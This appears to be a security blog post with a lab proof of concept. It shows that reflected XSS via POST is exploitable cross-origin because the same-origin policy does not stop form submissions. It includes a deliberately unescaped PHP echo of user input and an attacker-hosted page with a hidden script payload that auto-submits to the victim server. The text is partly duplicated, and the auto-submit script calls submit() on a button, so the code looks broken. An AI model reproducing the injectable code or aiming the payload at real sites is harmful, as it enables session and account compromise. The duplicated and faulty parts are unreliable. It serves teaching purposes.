I was asked if reflected Cross site scripting (XSS) in POST would be stopped or mitigated by Same origin policy(SOP)? Hmmm...interesting question. As far as I could recall, I answered, simple post submission by html forms are not stopped by SOP.
There seems to be a misconception that POST cross domain request are not allowed due to SOP and that XSS in POST is only exploited in cases of stored XSS. Also that, reflected XSS is exploitable only is GET cases.
Oh well, why believe what anyone says, lets test it out. To test this I will set up a simple html page on victim server(10.211.55.2), lets call it input page which takes a comment and post it to post.php page. The post.php page suffers from a serious case of reflected XSS.
User visits the malicious website(10.211.55.5) on windows and opens test.html...
References:
https://security.stackexchange.com/questions/8264/why-is-the-same-origin-policy-so-important
https://www.sitepoint.com/php-security-cross-site-scripting-attacks-xss/
https://w-shadow.com/blog/2008/11/20/cross-domain-post-with-javascript/
There seems to be a misconception that POST cross domain request are not allowed due to SOP and that XSS in POST is only exploited in cases of stored XSS. Also that, reflected XSS is exploitable only is GET cases.
Oh well, why believe what anyone says, lets test it out. To test this I will set up a simple html page on victim server(10.211.55.2), lets call it input page which takes a comment and post it to post.php page. The post.php page suffers from a serious case of reflected XSS.
<form action="post.php" method="post">
<input type="text" name="comment" value="">
<input type="submit" name="submit" value="Submit">
</form><?php
echo $_POST["comment"];Now for the sake of this proof of concept to proceed, let us assume an attacker was able to redirect users to his malicious web server, serving test.html, or just sends this html page as an attachment.<html><!-- Simple Post submissions are not blocked by Same origin policy--><body><script>history.pushState('', '', '/')</script><form action="http://10.211.55.2/xss/post.php" method="POST"><input type="hidden" name="comment" value="testw<script>alert(12345)</script>wxvu2" /><input type="hidden" name="submit" value="Submit" /><input type="submit" value="Submit request" /></form></body></html>
User visits the malicious website(10.211.55.5) on windows and opens test.html...
...and submits the post form to execute XSS which is hosted on 10.211.55.2.
Taking it a step further so that we can call a javascript to "click" the submit button. Javascripts can be used to simulate a post form submission.
<!DOCTYPE html> <html> <!-- Simple Post submissions are not blocked by Same origin policy--> <body> <script>history.pushState('', '', '/')</script> <form action="http://10.211.55.2/xss/post.php" method="POST"> <input type="hidden" name="comment" value="testw<script>alert(12345)</script>wxvu2" /> <input type="hidden" name="submit" value="Submit" /> <input type="submit" id ="ert" value="Submit request" /> </form> </body> <script> document.getElementById("ert").submit(); </script> </html>
This happens because "The same origin policy is not enforced for all requests. Among others the <script>- and <img>-tags may fetch resources from any domain. Posting forms and linking to other domains is possible, too. "
We can easily extend this to malicious CSRF form submissions.
So in essence we can conclude:
1. Reflected POST xss can be exploited the same as POST xss, i.e. sending the user to malicious link and use javascript to auto submit the xss post form.
2. Same origin policy does not apply to Cross domain POST form submissions, hence SOP is not a mitigating factor for POST XSS or CSRF.
2. Same origin policy does not apply to Cross domain POST form submissions, hence SOP is not a mitigating factor for POST XSS or CSRF.
References:
https://security.stackexchange.com/questions/8264/why-is-the-same-origin-policy-so-important
https://www.sitepoint.com/php-security-cross-site-scripting-attacks-xss/
https://w-shadow.com/blog/2008/11/20/cross-domain-post-with-javascript/
No comments:
Post a Comment